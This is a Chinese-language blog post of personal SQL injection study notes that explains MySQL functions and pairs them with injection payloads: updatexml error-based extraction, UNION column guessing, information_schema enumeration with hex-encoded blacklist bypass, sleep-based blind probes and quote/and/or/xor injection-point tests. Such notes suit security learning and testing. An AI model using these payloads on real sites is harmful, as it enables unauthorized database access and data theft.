首页 > 数据库 >杂乱无章的sql注入学习笔记(应该会持续更新)

杂乱无章的sql注入学习笔记(应该会持续更新)

时间:2024-07-15 23:52:14浏览次数:11  
标签:杂乱无章 笔记 concat sql table where id select

关于注入点:
注入点不仅仅有.php?id=xxx 只要是后端有交互的点都可能存在sql注入,黑盒情况下不知道后端,所以得fuzz,有的数据库会对你的cookie ua进行查询操作,甚至是别的请求头,所以要都fuzz试试.甚至对图片的查询操作都可能存在注入点,思路要打开.

学习sql语句:
参考SQL 通配符 --- SQL Wildcard Characters (w3schools.com)
 Distinct 去重

 Updatexml 可用于报错注入
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
举个例子就明白了:
SELECT * FROM LMX_BOOK WHERE UID IN($ID)
PAYLOAD : ?id= 1) or updatexml(0,concat(0x7e,version()),1)--+
0x7e为波浪线,在extractvalue或updatexml中为报错用的(xpath中的违规字符)

 ||可以代替or ;&&可以代替and ; xor 可以代替or的作用;空格有时候可以代替and select x y from xxx

 ``反引号包裹表明’’””一般引号包裹字符串

 EXISTS 判断有无记录返回(检查是否存在 (对语句结果检查select exists(select 1))
也可进行爆破表名/库名
Select 1 and exists(select * from table_name)
select 1 and exists(select column_name from table_name)

 ASCII函数 配合EXISTS爆破:
select ASCII(‘u’) 等同于select ASCII(‘username’)
select * from duser where id=1 and EXISTS(select * from duser1 where ASCII(username)=117)

 Substring 同样可用于爆破(注:sql语法的str多为从1开始遍历)
select substring(‘fuckyou’,3,2)s  ck (从第三个开始截取两个)

 length 类似python的len,判断长度

 SPACE(int)幽默的函数 select(100)  一百个空格

 group_concat()/concat() 经典的把好多东西放到同一字段显示的语句:
group_concat和concat的区别:
select concat(id, ’,’, name)  返回 1,ssesmof
select concat(‘my’,null,’ql’)  返回 Null
通过以上这种concat的用法可以把好多字段的数据放到同一个字段
实战应用:select 0,1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir)
0x7e为波浪线,此处为好看用的,但是在extractvalue或updatexml中为报错用的(xpath中的违规字符)

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
*使用表info作为示例,其中语句SELECT locus,id,journal FROM info WHERE locus IN('AB086827','AF040764');的返回结果为
+----------+----+--------------------------+
| locus | id | journal |
+----------+----+--------------------------+
| AB086827 | 1 | Unpublished |
| AB086827 | 2 | Submitted (20-JUN-2002) |
| AF040764 | 23 | Unpublished |
| AF040764 | 24 | Submitted (31-DEC-1997) |
+----------+----+--------------------------+
*语句 SELECT locus,GROUP_CONCAT(id) FROM info WHERE locus IN('AB086827','AF040764') GROUP BY locus;的返回结果为
+----------+------------------+
| locus | GROUP_CONCAT(id) |
+----------+------------------+
| AB086827 | 1,2 |
| AF040764 | 23,24 |
+----------+------------------+
实战中select group_concat(SCHEMA_NAME) from information_schema.schemata
直接结合所有数据库名
select group_concat(table_name) from information_schema.tables where table_schema=database()
所有表名
select group_concat(column_name) from information_schema.columns where table_name=0x70617373776F7264
字段名(可以用十六进制编码绕过一些黑名单,这个例子绕过password)
总结这俩的区别:concat不合并行而group_concat合并行

 as 创建别名 SELECT CustomerID AS ID, CustomerName AS Customer FROM Customers; 字段名变为as指定的字符. 还有一些可替换的用法select (select 1)s 等同于select (select 1) as s as后不能为纯数字

 like 模糊查询 where customername like “xx”
sql有自己的通配符 %相当于* _相当于?占位符[] 和linux的[]用法差不多也可以写成[a-z]这种形式
不同数据库语法不一样

 limit 仅显示前几列
加减乘除也可以判断是否存在注入点

 order by 经典的查字段语句后面接字段名或是数字都可以,接什么就依据什么排序,多出字段数会报错

 null 空字段 select * from schema where shabi is null

 min/max/sum/count 函数顾名思义 例: select max(id) from duser 查询最大的id; count查询有多少个

 UNION 经典联合注入方法 union默认会去重,union all不去重. 例子:
Select 语句一 union select 语句二
会将两个查询语句拼接,使行数变多
注入时用于在原本的语句上加自己的语句
经过实验我也理解了union 为什么要猜字段数
因为只有union select后跟的select查的字段数和前边select查的字段数一样时才不会报错

 Group by 根据字段名去重

 Having 某些场景下无法使用where: select count(username)coutn, id, username, pass from duser group by username having count=5

 Join
Inner join :
Select * FROM DUSER INNER JOIN DUSER1 ON DUSER.ID=DUSER1.ID
查询DUSER和DUSER1两个表中id字段的交集部分的数据
LEFT JOIN:
Select * FROM DUSER LEFT JOIN DUSER1 ON DUSER.ID=DUSER1.ID
全部显示DUSER , 部分显示DUSER1(显示和DUSER有交集的DUSER1数据)
RIGHT JOIN:
和上边的LEFT同理,不多赘述
注:只有用join时才能

 Any 在 where中使用
例:
SELECT ProductName
FROM Products
WHERE ProductID = ANY (SELECT ProductID FROM OrderDetails WHERE Quantity = 10);
判断ProductID是否存在于任何SELECT ProductID FROM OrderDetails WHERE Quantity = 10的结果

 All 和any的应用场景类似
例:
Select * from duser where all id>(select id from duser1)
顾名思义,判断id是否大于所有select id from duser1的结果

 elt()的分流特性
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数。
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));

 field() 的分流特性
FIELD(str, str1, str2, str3, ……)
字段str按照字符串str1,str2,str3,str4的顺序返回查询到的结果集。如果表中str字段值不存在于str1,str2,str3,str4中的记录,放在结果集最前面返回。

 Isnull SQL中 isnull()用法总结_sql isnull-CSDN博客
Sqlserver 例如:select isnull(分数,0) from xuesheng where name='凡九龙' 在表xuesheng中,字段分数如果为空,结果输出0。如果不为空,输出字段分数的值。
Mysql 1.isnull(exper) 判断exper是否为空,是则返回1,否则返回0
2.ifnull(exper1,exper2)判断exper1是否为空,是则用exper2代替
3.nullif(exper1,exper2)如果expr1= expr2 成立,那么返回值为NULL,否则返回值为 expr1。

 Backup database abname to disk ‘path’
备份数据库到指定目录
判断注入点2021-4-4 sql注入-CSDN博客

  1. 单引号判断
    ?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。
  2. and判断
    ?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页
    ?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
  3. or判断
    (or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
    ?id=10’or 1=1
    ?id=10’or 1=2
  4. xor判断
    (xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
    http://www.xxx.com/xxx.asp?id=10’xor 1=1
    http://www.xxx.com/xxx.asp?id=10’xor 1=2
  5. 加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
    http://www.xxx.com/xxx.asp?id=10-0
    http://www.xxx.com/xxx.asp?id=10-1
    http://www.xxx.com/xxx.asp?id=10+1
  6. 输入框判断
    可以使用特殊符号去判断

@!$/ …

闭合方法总结
1:最经典的?id=’ UNION ALL SELECT… --+
2:在查询语法中可用?id=nm%’ and 1=2 union …… and ‘%’=’
这种方法适用于这类sql语句: select * from sy_guestbook where gName like ‘%$s%’
闭合后:select * from users where password like '%nm%'and 1=2 union select 1,2,3,4 and '%'='%';
3.union注入中闭合后 and 1=2使原sql语句不执行,执行union select的语句

小技巧:

Sqlmap编写tamper:

学SQL注入时候翻了一篇文章渗透测试 | 记一次简单的 CMS 漏洞挖掘 - FreeBuf网络安全行业门户
代码审计:
if (in_array("{$mod}.php", pe_dirlist("{$pe['path_root']}admin/module/.php"))) {
include("{$pe['path_root']}admin/module/{$mod}.php");
}
pe_result();
这段代码判mod参数是存在于moudule/ 文件夹下,存在的话就文件包含
mod参数传入user 包含user.php

标签:杂乱无章,笔记,concat,sql,table,where,id,select
From: https://www.cnblogs.com/sesmof/p/18304254

相关文章

  • Java JNI 学习笔记
    JavaJNI学习笔记JNI(JavaNativeInterface)是Java提供的一种接口,使得java代码可以与其他语言(如C和C++)编写的代码进行交互。具体来说,JNI允许你在Java中调用本地(Native)代码,或者从本地代码调用Java方法。基本概念jni.h:这是JNI的头文件,使用javac生成,定义了JNI......
  • SQL Thinking
    s2下半年我在内部有一次部门级别的技术分享会,以本文内容分享为主。其实有很多人问过我相同的问题,遇到需要改写的慢sql,不知道怎么改,改好了以后也不知道等不等价?不等价了也不知道错在哪?这个要怎么破?其实都是因为绝大多数人没有做过开发,看不懂sql,不会写sql,没有sql思维,下面通过几个......
  • mysql命令行操作显示表属性的类型与修改
        随着工具的进步,类似于Navicat这些可以让mysql具备可视化的软件越来越多。但是为了安全性,并非每一个都可以使用这些工具进行连接,因此掌握一定的mysql命令基础是必备的,本文主要是讲述一下如何查看表中,各个属性的类型,以及如何对其进行修改操作。一:对表进行查询  ......
  • MongoDB自学笔记(二)
    一、前言接着上一篇文章,在上一篇文章中学习了如何使用数据库、如何创建集合、如何往集合里添加文档,今天我们继续学习一下更新文档,更新文档相对来说比较复杂笔者打算分多次来记录学习过程。二、文档操作1、更新文档基础语法:db.collection.updateOne(filter,update,opt......
  • LeetCode算法笔记5
    题目描述给你一个字符串 s,找到 s 中最长的 回文子串示例1:输入:s="babad"输出:"bab"解释:"aba"同样是符合题意的答案。示例2:输入:s="cbbd"输出:"bb"提示:1<=s.length<=1000s 仅由数字和英文字母组成解法:classSolution:deflongestPalindrome(sel......
  • linux高级编程(sqlite数据库调用)
    数据库1、分类:大型  中型        小型      ORACLE MYSQL/MSSQL SQLITE DBIIpowdb      关系型数据库    2、名词:      DB      数据库selectupdatedatabase      DBMS   数据库管理......
  • LeetCode算法笔记2
    题目描述给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。请你将两个数相加,并以相同形式返回一个表示和的链表。你可以假设除了数字0之外,这两个数都不会以0 开头。示例1:输入:l1=[2,4,3],l......
  • 长链剖分笔记
    与轻重链剖分相似.dfs1:高度\(h\)、\(son\);dfs2:\(top\).性质1:到根最多\(O(\sqrtn)\)条轻边.(证明:长链长度最坏情况:1,2,3...)性质2:\(x\)的\(k\)级祖先\(y\)所在的长链长度\(\gek\).(证明:若非,则\(y-x\)是一条更长的链,矛盾.)树上\(k\)级祖先\(O(n\logn)-O(1)\):......
  • 【QT开发】SQL查询QSqlQuery类详解及实战应用
    QSqlQuery是Qt提供的一个功能强大且灵活的SQL查询类,能够方便地与数据库进行交互。通过本篇文章的学习,你应该对QSqlQuery有了全面的理解,能够在自己的项目中正确使用它。QSqlQuery在用户界面中帮助你更好地管理和处理数据库数据,实现高效的数据库操作,有助于创建用户友好和高效......
  • MySQL的意向锁
    InnoDB支持多粒度锁,它允许行级锁与表级锁共存,而意向锁就是其中的一种表锁1、意向锁的存在是为了协调行锁和表锁的关系,支持多粒度的锁并存2、意向锁是一种不与行锁冲突表级锁,这一点非常重要3、表明某个事务正在某些行持有锁或该事务准备去持有锁意向锁通常有两种类型:意向......